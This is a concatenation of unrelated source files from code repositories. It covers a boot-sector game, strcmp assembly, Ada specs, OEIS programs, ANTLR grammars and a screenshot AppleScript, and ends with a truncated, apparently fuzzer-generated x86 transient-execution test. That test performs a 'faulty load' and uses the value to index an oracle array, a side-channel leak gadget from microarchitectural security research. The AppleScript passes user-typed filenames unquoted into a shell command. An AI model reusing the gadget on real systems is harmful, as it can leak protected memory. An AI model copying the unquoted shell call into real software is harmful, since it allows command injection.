[bp+bricks] ; One brick less on screen jne .14 ; Fully completed? No, jump. jmp another_level ; Start another level .5: pop bx pop ax .6: mov [bp+ball_x],bx ; Update ball position mov [bp+ball_y],ax cmp ah,0x19 ; Ball exited through bottom? je ball_lost ; Yes, jump jmp game_loop ; No, repeat game loop ; ; Ball lost ; ball_lost: mov cx,10846 ; 1193180 / 110 call speaker ; Generate sound mov word [si],0 ; Erase ball dec byte [bp+balls] ; One ball less js .1 ; All finished? Yes, jump jmp another_ball ; Start another ball .1: call wait_frame.2 ; Turn off sound int 0x20 ; Exit to DOS / bootOS wait_frame: .0: mov ah,0x00 ; Read ticks int 0x1a ; Call BIOS cmp dx,[bp+old_time] ; Wait for change je .0 mov [bp+old_time],dx dec byte [bp+beep] ; Decrease time to turn off beep jne .1 .2: in al,0x61 and al,0xfc ; Turn off out 0x61,al .1: ret ; ; Generate sound on PC speaker ; speaker: mov al,0xb6 ; Setup timer 2 out 0x43,al mov al,cl ; Low byte of timer count out 0x42,al mov al,ch ; High byte of timer count out 0x42,al in al,0x61 or al,0x03 ; Connect PC speaker to timer 2 out 0x61,al mov byte [bp+beep],3 ; Duration ret ; ; Locate ball on screen ; locate_ball: mov al,0xa0 mul ah ; AH = Y coordinate (row) mov bl,bh ; BH = X coordinate (column) mov bh,0 shl bx,1 add bx,ax ret ; ; Update score indicator (from bootRogue) ; update_score: mov bx,0x0f98 ; Point to bottom right corner mov ax,[bp+score] call .1 mov al,[bp+balls] .1: xor cx,cx ; CX = Quotient .2: inc cx sub ax,10 ; Division by subtraction jnc .2 add ax,0x0a3a ; Convert remainder to ASCII digit + color call .3 ; Put on screen xchg ax,cx dec ax ; Quotient is zero? jnz .1 ; No, jump to show more digits. .3: mov [bx],ax dec bx dec bx ret %ifdef com_file %else times 510-($-$$) db 0x4f db 0x55,0xaa ; Make it a bootable sector %endif
tp/libs/asmlib/strcmp64.asm
pg83/zm
0
29887
<reponame>pg83/zm %include "defs.asm" ;************************* strcmp64.asm ************************************ ; Author: <NAME> ; Date created: 2011-07-14 ; Last modified: 2012-07-07 ; Description: ; Faster version of the standard strcmp function: ; int A_strcmp(const char * s1, const char * s2); ; Tests if two strings are equal. The strings must be zero-terminated. ; ; Note that this function may read up to 15 bytes beyond the end of the strings. ; This is rarely a problem but it can in principle generate a protection violation ; if a string is placed at the end of the data segment. ; ; Overriding standard function strcmp: ; The alias ?OVR_strcmp is changed to _strcmp in the object file if ; it is desired to override the standard library function strcmp. ; Overriding is disabled because the function may read beyond the end of a ; string, while the standard strcmp function is guaranteed to work in all cases. ; ; Position-independent code is generated if POSITIONINDEPENDENT is defined. ; ; CPU dispatching included for 386, and SSE4.2 instruction sets. ; ; Copyright (c) 2011 - 2012 GNU General Public License www.gnu.org/licenses ;****************************************************************************** default rel global A_strcmp: function ; Function A_strcmp ; Direct entries to CPU-specific versions global strcmpGeneric: function ; Generic version for processors without SSE4.2 global strcmpSSE42: function ; Version for processors with SSE4.2 ; Imported from instrset32.asm: extern InstructionSet ; Instruction set for CPU dispatcher section .text ; strcmp function %if ALLOW_OVERRIDE global EXP(strcmp): function EXP(strcmp): %endif A_strcmp: ; function dispatching jmp near [strcmpDispatch] ; Go to appropriate version, depending on instruction set align 16 strcmpSSE42: %ifdef WINDOWS push rdi mov rdi, rcx %define rs1 rdi ; pointer to string 1 %define rs2 rdx ; pointer to string 2 %define par1 rcx %define par2 rdx %else ; UNIX %define rs1 rdi %define rs2 rsi %define par1 rdi %define par2 rsi %endif mov rax, -16 ; offset counter compareloop: add rax, 16 ; increment offset movdqu xmm1, [rs1+rax] ; read 16 bytes of string 1 pcmpistri xmm1, [rs2+rax], 00011000B ; unsigned bytes, equal each, invert. returns index in ecx jnbe compareloop ; jump if not carry flag and not zero flag jnc equal notequal: ; strings are not equal add rcx, rax ; offset to first differing byte movzx eax, byte [rs1+rcx] ; compare first differing byte movzx edx, byte [rs2+rcx] sub rax, rdx %ifdef WINDOWS pop rdi %endif ret equal: xor eax, eax ; strings are equal %ifdef WINDOWS pop rdi %endif ret ;strcmpSSE42: endp align 16 strcmpGeneric: ; generic version ; This is a very simple solution. There is not much gained by using SSE2 or anything complicated %ifdef WINDOWS %define ss1 rcx ; pointer to string 1 %define ss2 rdx ; pointer to string 2 %else ; UNIX %define ss1 rdi %define ss2 rsi %endif _compareloop: mov al, [ss1] cmp al, [ss2] jne _notequal test al, al jz _equal inc ss1 inc ss2 jmp _compareloop _equal: xor eax, eax ; strings are equal ret _notequal: ; strings are not equal movzx eax, byte [ss1] ; compare first differing byte movzx edx, byte [ss2] sub eax, edx ret ;strcmpGeneric end ; CPU dispatching for strcmp. This is executed only once strcmpCPUDispatch: ; get supported instruction set push par1 push par2 call InstructionSet pop par2 pop par1 ; Point to generic version of strcmp lea r9, [strcmpGeneric] cmp eax, 10 ; check SSE4.2 jb Q100 ; SSE4.2 supported ; Point to SSE4.2 version of strcmp lea r9, [strcmpSSE42] Q100: mov [strcmpDispatch], r9 ; Continue in appropriate version of strcmp jmp r9 SECTION .data ; Pointer to appropriate version. Initially points to dispatcher strcmpDispatch DQ strcmpCPUDispatch ; Append 16 bytes to end of last data section to allow reading past end of strings: ; (We might use names .bss$zzz etc. under Windows to make it is placed ; last, but the assembler gives sections with unknown names wrong attributes. ; Here, we are just relying on library data being placed after main data. ; This can be verified by making a link map file) SECTION .bss dq 0, 0
ada-synchronous_barriers.ads
mgrojo/adalib
15
18608
-- Standard Ada library specification -- Copyright (c) 2004-2016 AXE Consultants -- Copyright (c) 2004, 2005, 2006 Ada-Europe -- Copyright (c) 2000 The MITRE Corporation, Inc. -- Copyright (c) 1992, 1993, 1994, 1995 Intermetrics, Inc. -- SPDX-License-Identifier: BSD-3-Clause and LicenseRef-AdaReferenceManual --------------------------------------------------------------------------- package Ada.Synchronous_Barriers is pragma Preelaborate(Synchronous_Barriers); subtype Barrier_Limit is Positive range 1 .. implementation_defined; type Synchronous_Barrier (Release_Threshold : Barrier_Limit) is limited private; procedure Wait_For_Release (The_Barrier : in out Synchronous_Barrier; Notified : out Boolean); private -- not specified by the language end Ada.Synchronous_Barriers;
ada/gui/demo/customwidget.ads
auzkok/libagar
286
11364
<reponame>auzkok/libagar -------------------------------------------------- -- Example of a custom Agar widget class: -- -- -- -- AG_Object(3) -> AG_Widget(3) -> CustomWidget -- -------------------------------------------------- with Agar.Object; with Agar.Widget; use Agar.Widget; with Agar.Data_Source; with Agar.Variable; with Interfaces.C; package CustomWidget is package OBJ renames Agar.Object; package AV renames Agar.Variable; package C renames Interfaces.C; type CustomWidget_t is limited record widget : Widget_t; -- AG_Object -> AG_Widget -> CustomWidget Color : Interfaces.Unsigned_32; State_X : Interfaces.Unsigned_8; State_Y : Interfaces.Unsigned_8; Label_Surf : C.int; end record with Convention => C; type CustomWidget_Access_t is access all CustomWidget_t with Convention => C; Widget_Class : Widget_Class_Access_t := null; function Create_Class return OBJ.Class_Not_Null_Access_t; procedure Destroy_Class; procedure Init (Object : OBJ.Object_Access_t) with Convention => C; procedure Draw (Widget : Widget_Access_t) with Convention => C; procedure Size_Request (Widget : in Widget_Access_t; Size : in SizeReq_not_null_Access_t) with Convention => C; function Size_Allocate (Widget : in Widget_Access_t; Size : in SizeAlloc_not_null_Access_t) return C.int with Convention => C; end CustomWidget;
programs/oeis/163/A163590.asm
neoneye/loda
22
102409
<reponame>neoneye/loda ; A163590: Odd part of the swinging factorial A056040. ; 1,1,1,3,3,15,5,35,35,315,63,693,231,3003,429,6435,6435,109395,12155,230945,46189,969969,88179,2028117,676039,16900975,1300075,35102025,5014575,145422675,9694845,300540195,300540195,9917826435,583401555,20419054425,2268783825,83945001525,4418157975,172308161025,34461632205,1412926920405,67282234305,2893136075115,263012370465,11835556670925,514589420475,24185702762325,8061900920775,395033145117975,15801325804719,805867616040669,61989816618513,3285460280781189,121683714103007,6692604275665385,956086325095055,54496920530418135,1879204156221315,110873045217057585,7391536347803839,450883717216034179,14544636039226909,916312070471295267,916312070471295267,59560284580634192355,1804857108504066435,120925426269772451145,7113260368810144185,490814965447899948765,14023284727082855679,995653215622882753209,110628135069209194801,8075853860052271220473,218266320541953276229,16369974040646495717175,861577581086657669325,66341473743672640538025,1701063429324939500975,134384010916670220577025,26876802183334044115405,2177020976850057573347805,53098072606098965203605,4407140026306214111899215,209863810776486386280915,17838423916001342833877775,414847067813984717066925,36091694899816670384822475,3281063172710606398620225,292014622371243969477200025,6489213830472088210604445,590518458572960027165004495,25674715590128696833261065,2387748549881968805493279045,50803160635786570329644235,4826300260399724181316202325,1608766753466574727105400775,156050375086257748529223875175,3184701532372607112841303575,315285451704888104171289053925 seq $0,56040 ; Swinging factorial, a(n) = 2^(n-(n mod 2))*Product_{k=1..n} k^((-1)^(k+1)). mov $2,$0 gcd $2,32 div $0,$2
Terminal/ScreeshotGUI.applescript
rogues-gallery/applescript
360
947
<reponame>rogues-gallery/applescript --- if, for some reason, you wanted to wanted to have a simple GUI for the built in screen capture tool --- helpful for old people, children, or the chronically lazy display dialog "This script uses your computers built-in screencapture tool. This script saves the file to your desktop by default." set theButton to display dialog "Would you like to have an image of your entire screen, a specific window, or an area that you define?" buttons {"Entire Screen", "Specific Window", "Defined Area"} set theChoice to get button returned of theButton if theChoice contains "Entire Screen" then set yesname to (display dialog "Choose the name for your file (with no spaces)" default answer "") set newIMGname to get text returned of yesname do shell script "screencapture ~/Desktop/" & newIMGname & ".png" end if if theChoice contains "Specific Window" then set yesname to (display dialog "Choose the name for your file (with no spaces)" default answer "") set newIMGname to get text returned of yesname display alert "Use the mouse to move the camera icon to the window you would like to capture, and click to create the screenshot" do shell script "screencapture -iW ~/Desktop/" & newIMGname & ".png" end if if theChoice contains "Defined Area" then set yesname to (display dialog "Choose the name for your file (with no spaces)" default answer "") set newIMGname to get text returned of yesname display alert "Use your mouse to move the crosshairs, and click to highlight the area of the sreen you would like to capture" do shell script "screencapture -s ~/Desktop/" & newIMGname & ".png" end if --- http://www.github.com/unforswearing
programs/oeis/066/A066601.asm
neoneye/loda
22
943
; A066601: a(n) = 3^n mod n. ; 0,1,0,1,3,3,3,1,0,9,3,9,3,9,12,1,3,9,3,1,6,9,3,9,18,9,0,25,3,9,3,1,27,9,12,9,3,9,27,1,3,15,3,37,18,9,3,33,31,49,27,29,3,27,12,9,27,9,3,21,3,9,27,1,48,3,3,13,27,39,3,9,3,9,57,5,75,27,3,1,0,9,3,57,73,9,27,49,3,9,3,81,27,9,72,33,3,79,81,1 add $0,1 mov $1,1 mov $2,$0 lpb $0 sub $0,1 mul $1,3 mod $1,$2 lpe mov $0,$1
libsrc/_DEVELOPMENT/arch/zx/tape/c/sccz80/zx_tape_save_block_callee.asm
jpoikela/z88dk
640
94267
<reponame>jpoikela/z88dk ; unsigned char zx_tape_save_block(void *src, unsigned int len, unsigned char type) SECTION code_clib SECTION code_arch PUBLIC zx_tape_save_block_callee EXTERN asm_zx_tape_save_block zx_tape_save_block_callee: pop af pop bc pop de pop ix push af ld a,c jp asm_zx_tape_save_block
protobuf/ProtoLexer.g4
vak/protobuf2uml
28
3895
<reponame>vak/protobuf2uml<gh_stars>10-100 // Compatibility with Protocol Buffer defines // https://developers.google.com/protocol-buffers/docs/proto // This file was taken from https://github.com/yesme/protobuf-parser/ and a bit adjusted lexer grammar ProtoLexer; /* @header { package dsl; import com.google.common.collect.*; import java.util.Map; } @members { private static Map<String, String> literals = HashBiMap.create(); static { literals.put("PACKAGE_LITERAL", "package"); literals.put("IMPORT_LITERAL", "import"); literals.put("OPTION_LITERAL", "option"); literals.put("ENUM_LITERAL", "enum"); literals.put("MESSAGE_LITERAL", "message"); literals.put("EXTEND_LITERAL", "extend"); literals.put("EXTENSIONS_DEF_LITERAL", "extensions"); literals.put("EXTENSIONS_TO_LITERAL", "to"); literals.put("EXTENSIONS_MAX_LITERAL", "max"); literals.put("SERVICE_LITERAL", "service"); literals.put("RETURNS_LITERAL", "returns"); literals.put("RPC_LITERAL", "rpc"); literals.put("BLOCK_OPEN", "{"); literals.put("BLOCK_CLOSE", "}"); literals.put("PAREN_OPEN", "("); literals.put("PAREN_CLOSE", ")"); literals.put("BRACKET_OPEN", "["); literals.put("BRACKET_CLOSE", "]"); literals.put("EQUALS", "="); literals.put("COLON", ":"); literals.put("COMMA", ","); literals.put("ITEM_TERMINATOR", ";"); } public static Map getLiterals() { return literals; } } */ LINE_COMMENT : '//' ~('\n' | '\r')* -> skip; //MULTILINE_COMMENT : '/*' (options {greedy=false;} : .)* '*/' -> skip; MULTILINE_COMMENT : '/*' (.)*? '*/' -> skip; fragment END_OF_LINE: ('\r\n' | '\n' | '\r') -> skip; WHITESPACE : ('\t' | ' ' | '\r' | '\n' | '\u000C')+ -> skip; IMPORT_PUBLIC : 'public'; PACKAGE_LITERAL : 'package' ; IMPORT_LITERAL : 'import' ; OPTION_LITERAL : 'option' ; ENUM_LITERAL : 'enum' ; MESSAGE_LITERAL : 'message' ; EXTEND_LITERAL : 'extend' ; EXTENSIONS_DEF_LITERAL : 'extensions' ; EXTENSIONS_TO_LITERAL : 'to' ; EXTENSIONS_MAX_LITERAL : 'max' ; //GROUP_LITERAL : 'group' ; // deprecated //OPTIONAL_DEFAULT_LITERAL : 'default' ; //OPTIONAL_DEPRECATED_LITERAL : 'deprecated' ; //REPEATED_PACKED_LITERAL : 'packed' ; SERVICE_LITERAL : 'service' ; RETURNS_LITERAL : 'returns' ; RPC_LITERAL : 'rpc' ; BLOCK_OPEN : '{' ; BLOCK_CLOSE : '}' ; PAREN_OPEN : '(' ; PAREN_CLOSE : ')' ; BRACKET_OPEN : '[' ; BRACKET_CLOSE : ']' ; EQUALS : '=' ; COLON : ':' ; COMMA : ',' ; ITEM_TERMINATOR : ';' ; // Protobuf Scope --------------------- PROTOBUF_SCOPE_LITERAL : REQUIRED_PROTOBUF_SCOPE_LITERAL | OPTIONAL_PROTOBUF_SCOPE_LITERAL | REPEATED_PROTOBUF_SCOPE_LITERAL ; fragment REQUIRED_PROTOBUF_SCOPE_LITERAL : 'required' ; fragment OPTIONAL_PROTOBUF_SCOPE_LITERAL : 'optional' ; fragment REPEATED_PROTOBUF_SCOPE_LITERAL : 'repeated' ; // Protobuf Scope --------------------- // Protobuf Type ---------------------- PROTOBUF_TYPE_LITERAL : DOUBLE_PROTOBUF_TYPE_LITERAL | FLOAT_PROTOBUF_TYPE_LITERAL | INT32_PROTOBUF_TYPE_LITERAL | INT64_PROTOBUF_TYPE_LITERAL | UINT32_PROTOBUF_TYPE_LITERAL | UINT64_PROTOBUF_TYPE_LITERAL | SINT32_PROTOBUF_TYPE_LITERAL | SINT64_PROTOBUF_TYPE_LITERAL | FIXED32_PROTOBUF_TYPE_LITERAL | FIXED64_PROTOBUF_TYPE_LITERAL | SFIXED32_PROTOBUF_TYPE_LITERAL | SFIXED64_PROTOBUF_TYPE_LITERAL | BOOL_PROTOBUF_TYPE_LITERAL | STRING_PROTOBUF_TYPE_LITERAL | BYTES_PROTOBUF_TYPE_LITERAL ; fragment DOUBLE_PROTOBUF_TYPE_LITERAL : 'double' ; fragment FLOAT_PROTOBUF_TYPE_LITERAL : 'float' ; fragment INT32_PROTOBUF_TYPE_LITERAL : 'int32' ; fragment INT64_PROTOBUF_TYPE_LITERAL : 'int64' ; fragment UINT32_PROTOBUF_TYPE_LITERAL : 'uint32' ; fragment UINT64_PROTOBUF_TYPE_LITERAL : 'uint64' ; fragment SINT32_PROTOBUF_TYPE_LITERAL : 'sint32' ; fragment SINT64_PROTOBUF_TYPE_LITERAL : 'sint64' ; fragment FIXED32_PROTOBUF_TYPE_LITERAL : 'fixed32' ; fragment FIXED64_PROTOBUF_TYPE_LITERAL : 'fixed64' ; fragment SFIXED32_PROTOBUF_TYPE_LITERAL : 'sfixed32' ; fragment SFIXED64_PROTOBUF_TYPE_LITERAL : 'sfixed64' ; fragment BOOL_PROTOBUF_TYPE_LITERAL : 'bool' ; fragment STRING_PROTOBUF_TYPE_LITERAL : 'string' ; fragment BYTES_PROTOBUF_TYPE_LITERAL : 'bytes' ; // Protobuf Type ---------------------- // Integer ---------------------------- INTEGER_LITERAL : HEX_LITERAL | OCTAL_LITERAL | DECIMAL_LITERAL ; fragment HEX_DIGIT : ('0'..'9'|'a'..'f'|'A'..'F') ; fragment HEX_LITERAL : '-'? '0' ('x'|'X') HEX_DIGIT+ ; fragment OCTAL_LITERAL : '-'? '0' ('0'..'7')+ ; fragment DECIMAL_LITERAL : ('0' | '-'? '1'..'9' '0'..'9'*) ; // Integer ---------------------------- // String ----------------------------- STRING_LITERAL : '"' STRING_GUTS '"' ; fragment STRING_GUTS : ( ESCAPE_SEQUENCE | ~('\\'|'"'|'\n'|'\r') )* ; fragment ESCAPE_SEQUENCE : '\\' ('b'|'t'|'n'|'f'|'r'|'\"'|'\''|'\\') | OCTAL_ESCAPE | UNICODE_ESCAPE ; fragment OCTAL_ESCAPE : '\\' ('0'..'3') ('0'..'7') ('0'..'7') | '\\' ('0'..'7') ('0'..'7') | '\\' ('0'..'7') ; fragment UNICODE_ESCAPE : '\\' 'u' HEX_DIGIT HEX_DIGIT HEX_DIGIT HEX_DIGIT ; // String ----------------------------- // Bool ------------------------------- BOOL_LITERAL : 'true' | 'false'; // Bool ------------------------------- // Float------------------------------- FLOAT_LITERAL : '-'? ('0'..'9')+ '.' ('0'..'9')* EXPONENT? | '-'? '.' ('0'..'9')+ EXPONENT? | '-'? ('0'..'9')+ EXPONENT ; fragment EXPONENT : ('e'|'E') ('+'|'-')? ('0'..'9')+ ; // Float------------------------------- IDENTIFIER : '_'* ('a'..'z' | 'A'..'Z' ) ('a'..'z' | 'A'..'Z' | '_' | '0'..'9')* ; QUALIFIED_IDENTIFIER : IDENTIFIER ('.' IDENTIFIER)+ ; FIELD_IDENTIFIER : '.' IDENTIFIER ;
programs/oeis/267/A267142.asm
karttu/loda
1
177713
<reponame>karttu/loda ; A267142: The characteristic function of the multiples of 9. ; 1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0 mod $0,9 pow $1,$0
data/mapHeaders/silphco10.asm
adhi-thirumala/EvoYellow
16
240388
SilphCo10_h: db FACILITY ; tileset db SILPH_CO_10F_HEIGHT, SILPH_CO_10F_WIDTH ; dimensions (y, x) dw SilphCo10Blocks, SilphCo10TextPointers, SilphCo10Script ; blocks, texts, scripts db $00 ; connections dw SilphCo10Object ; objects
codes/compiler/dragon/IR/src/main/antlr4/ILOC.g4
zhoujiagen/learning-algorithms
0
7421
<reponame>zhoujiagen/learning-algorithms<gh_stars>0 grammar ILOC; @header {package com.spike.compiler.dragon.ir.iloc.gen;} program: decl* instr (EOL+ instr)* EOL* EOF; decl: ID '<-' NUM COMMENT? EOL+ ; instr: (label ':')? op # singleInstr | (label ':')? '[' EOL* op (EOL+ op)* EOL* ']' #instrList ; /** Single operation. */ op: COMMENT #comment | opCode sources (('->'|'=>') targets)? ';'? COMMENT? #realOp ; sources: (operand (',' operand)*)?; targets: operand (',' operand)*; /** Operation label. */ label: ID; /** Operand: ID for label or register, number, string. */ operand: ID | NUM | SYMB | LAB | STR; /** Opcode. */ opCode: // nop: placeholder 'nop' /** Arithmetic. */ // add r_1, r_2 => r_3: r_1 + r_2 => r_3 | 'add' // sub r_1, r_2 => r_3: r_1 - r_2 => r_3 | 'sub' // mult r_1, r_2 => r_3: r_1 * r_2 => r_3 | 'mult' // div r_1, r_2 => r_3: r_1 / r_2 => r_3 | 'div' // addI r_1, c_2 => r_3: r_1 + c_2 => r_3 | 'addI' // subI r_1, c_2 => r_3: r_1 - c_2 => r_3 | 'subI' // rsubI r_1, c_2 => r_3: c_2 - r_1 => r_3 | 'rsubI' // multI r_1, c_2 => r_3: r_1 * c_2 => r_3 | 'multI' // divI r_1, c_2 => r_3: r_1 / c_2 => r_3 | 'divI' // rdivI r_1, c_2 => r_3: c_2 / r_1 => r_3 | 'rdivI' /** Shifts. */ // lshift r_1, r_2 => r_3: r_1 << r_2 => r_3 | 'lshift' // lshift r_1, c_2 => r_3: r_1 << c_2 => r_3 | 'lshiftI' // rshift r_1, r_2 => r_3: r_1 >> r_2 => r_3 | 'rshift' // rshiftI r_1, c_2 => r_3: r_1 >> c_2 => r_3 | 'rshiftI' /** Boolean Operations. */ // and r_1, r_2 => r_3: r_1 AND r_2 => r_3 | 'and' // andI r_1, c_2 => r_3: r_1 AND c_2 => r_3 | 'andI' // or r_1, r_2 => r_3: r_1 OR r_2 => r_3 | 'or' // orI r_1, c_2 => r_3: r_1 OR c_2 => r_3 | 'orI' // xor r_1, r_2 => r_3: r_1 XOR r_2 => r_3 | 'xor' // xorI r_1, c_2 => r_3: r_1 XOR c_2 => r_3 | 'xorI' /** Memory Operations. */ // loadI c_1 => r_2: c_1 => r_2 | 'loadI' // load r_1 => r_2: Mem(r_1) => r_2 | 'load' // loadAI r_1, c_2 => r_3: Mem(r_1 + c_2) => r_3 | 'loadAI' // address-immediate // loadAO r_1, r_2 => r_3: Mem(r_1 + r_2) => r_3 | 'loadAO' // address-offset // cload r_1 => r_2: character load | 'cload' // cloadAI r_1, c_2 => r_3: character loadAI | 'cloadAI' // cloadAO r_1, r_2 => r_3: character loadAO | 'cloadAO' // store r_1 => r_2: r_1 => Mem(r_2) | 'store' // storeAI r_1 => r_2, c_3: r_1 => Mem(r_2 + c_3) | 'storeAI' // storeAO r_1 => r_2, r_3: r_1 => Mem(r_2 + r_3) | 'storeAO' // cstore r_1 => r_2: character store | 'cstore' // cstoreAI r_1 => r_2, c_3: character storeAI | 'cstoreAI' // cstoreAO r_1 => r_2, r_3: character storeAO | 'cstoreAO' /** Register-to-Register Copy Operations. */ // i2i r_1 => r_2: r_1 => r_2 for integers | 'i2i' // c2c r_1 => r_2: r_1 => r_2 for characters | 'c2c' // c2i r_1 => r_2: convert character to integer | 'c2i' // i2c r_1 => r_2: convert integer to character | 'i2c' /** Control-flow Operations. */ // cmp_LT r_1, r_2 => r_3: true => r_3 if r_1 < r_2; false => r_3 otherwise | 'cmp_LT' // cmp_LE r_1, r_2 => r_3: true => r_3 if r_1 <= r_2; false => r_3 otherwise | 'cmp_LE' // cmp_EQ r_1, r_2 => r_3: true => r_3 if r_1 = r_2; false => r_3 otherwise | 'cmp_EQ' // cmp_GE r_1, r_2 => r_3: true => r_3 if r_1 >= r_2; false => r_3 otherwise | 'cmp_GE' // cmp_GT r_1, r_2 => r_3: true => r_3 if r_1 > r_2; false => r_3 otherwise | 'cmp_GT' // cmp_NE r_1, r_2 => r_3: true => r_3 if r_1 != r_2; false => r_3 otherwise | 'cmp_NE' // cbr r_1 -> l_2, l_3: l_2 -> PC if r_1 = true; l_3 -> PC otherwise | 'cbr' /** Alternate Comparison and Branch Syntax. */ // comp r_1, r_2 => cc_3: sets cc_3. cc: condition code | 'comp' // cbr_LT cc_1 -> l_2, l_3: l_2 -> PC if cc_1 = LT; l_3 -> PC otherwise | 'cbr_LT' // cbr_LT cc_1 -> l_2, l_3: l_2 -> PC if cc_1 = LE; l_3 -> PC otherwise | 'cbr_LE' // cbr_LT cc_1 -> l_2, l_3: l_2 -> PC if cc_1 = EQ; l_3 -> PC otherwise | 'cbr_EQ' // cbr_LT cc_1 -> l_2, l_3: l_2 -> PC if cc_1 = GE; l_3 -> PC otherwise | 'cbr_GE' // cbr_LT cc_1 -> l_2, l_3: l_2 -> PC if cc_1 = GT; l_3 -> PC otherwise | 'cbr_GT' // cbr_LT cc_1 -> l_2, l_3: l_2 -> PC if cc_1 = NE; l_3 -> PC otherwise | 'cbr_NE' /** Jumps. */ // jump -> r_1: r_1 -> PC | 'jump' // jumpI -> l_1: l_1 -> PC | 'jumpI' // tbl r_1, l_2: r_1 might hold l_2 | 'tbl' /** Stack Operations. */ // push r_1: r_1 => Stack[SP], SP++ | 'push' // pop => r_1: Stack[SP] => r_2, SP-- | 'pop' // cpush r_1: character push | 'cpush' // cpop => r_1: character pop | 'cpop' /** I/O */ // cin "xxx": read string literal and push onto stack | 'cin' // cout "xxx": write string literal | 'cout' /** SSA φ Function. */ // phi r_i, r_j, r_k => r_m | 'phi' ; /** Identifier. */ ID: LETTER (LETTER|DIGIT|[\-_])*; /** Symbolic name. */ SYMB: '@' ID; /** Label used as numeric parameter. */ LAB: '#' ID; /** Number. */ NUM: '-'? DIGIT+; /** String with optional escaped double quotes. */ STR : '"' (~["\n\r] | '\\"')* '"'; /** Comment. */ COMMENT: '//' ~[\r\n]*; /** Whitespace. */ WS : [ \t]+ -> skip; EOL : [\r\n]+; fragment LETTER: [a-zA-Z]; fragment DIGIT: [0-9];
AVR/check_negative.asm
StxGuy/EmbeddedSystems
0
14287
<reponame>StxGuy/EmbeddedSystems .device ATmega328 .org 0x00 ; Program starts at 0x00 rjmp INICIO ; Negative fixed point? INICIO: nop ldi R16,0xA5 andi R16,0x80 breq POS rjmp NEG LOOP: rjmp LOOP POS: nop rjmp LOOP NEG: nop rjmp LOOP
Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0x84_notsx.log_21829_233.asm
ljhsiun2/medusa
9
171793
<gh_stars>1-10 .global s_prepare_buffers s_prepare_buffers: push %r11 push %r8 push %rbp push %rbx push %rcx push %rdi push %rdx push %rsi lea addresses_A_ht+0xaca0, %rbp nop and %rdx, %rdx movups (%rbp), %xmm0 vpextrq $0, %xmm0, %rdi nop nop nop nop nop xor %r11, %r11 lea addresses_WC_ht+0x4e10, %rsi add $26066, %rbx movl $0x61626364, (%rsi) sub $34935, %rdx lea addresses_A_ht+0x970, %rdi nop nop nop nop nop inc %r11 movl $0x61626364, (%rdi) nop and %rbp, %rbp lea addresses_WT_ht+0x6ad0, %r11 nop and $57623, %rdx mov (%r11), %r8 nop nop nop nop sub %rdi, %rdi lea addresses_normal_ht+0x6c60, %rsi lea addresses_D_ht+0x3970, %rdi nop nop nop nop cmp $32349, %r8 mov $26, %rcx rep movsb nop nop nop nop and %rdx, %rdx lea addresses_D_ht+0x17770, %r11 nop nop nop nop add %rbp, %rbp movb $0x61, (%r11) nop add %rsi, %rsi lea addresses_A_ht+0x179f0, %rsi lea addresses_normal_ht+0x7968, %rdi nop nop nop nop nop and %rbp, %rbp mov $16, %rcx rep movsb nop nop nop nop xor $2360, %rbx lea addresses_D_ht+0x1b18c, %r8 nop and $34551, %rdi movb (%r8), %dl nop nop nop nop and %rcx, %rcx lea addresses_WT_ht+0x6f30, %rbx nop nop xor $64200, %r11 mov (%rbx), %r8w nop nop nop sub $30491, %rcx lea addresses_WT_ht+0xa8a8, %rcx nop nop dec %rbp mov (%rcx), %rdi nop nop nop nop nop xor $46867, %r11 pop %rsi pop %rdx pop %rdi pop %rcx pop %rbx pop %rbp pop %r8 pop %r11 ret .global s_faulty_load s_faulty_load: push %r8 push %rbx push %rcx push %rdi push %rdx push %rsi // Faulty Load lea addresses_A+0xd370, %rcx clflush (%rcx) nop nop nop nop nop cmp %rbx, %rbx mov (%rcx), %r8w lea oracles, %rbx and $0xff, %r8 shlq $12, %r8 mov (%rbx,%r8,1), %r8 pop %rsi pop %rdx pop %rdi pop %rcx pop %rbx pop %r8 ret /* <gen_faulty_load> [REF] {'src': {'type': 'addresses_A', 'same': False, 'size': 8, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} [Faulty Load] {'src': {'type': 'addresses_A', 'same': True, 'size': 2, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'type': 'addresses_A_ht', 'same': False, 'size': 16, 'congruent': 3, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'dst': {'type': 'addresses_WC_ht', 'same': True, 'size': 4, 'congruent': 5, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'dst': {'type': 'addresses_A_ht', 'same': False, 'size': 4, 'congruent': 8, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'src': {'type': 'addresses_WT_ht', 'same': False, 'size': 8, 'congruent': 5, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_normal_ht', 'congruent': 4, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 5, 'same': False}, 'OP': 'REPM'} {'dst': {'type': 'addresses_D_ht', 'same': False, 'size': 1, 'congruent': 10, 'NT': False, 'AVXalign': True}, 'OP': 'STOR'} {'src': {'type': 'addresses_A_ht', 'congruent': 7, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 3, 'same': False}, 'OP': 'REPM'} {'src': {'type': 'addresses_D_ht', 'same': False, 'size': 1, 'congruent': 2, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_WT_ht', 'same': False, 'size': 2, 'congruent': 6, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 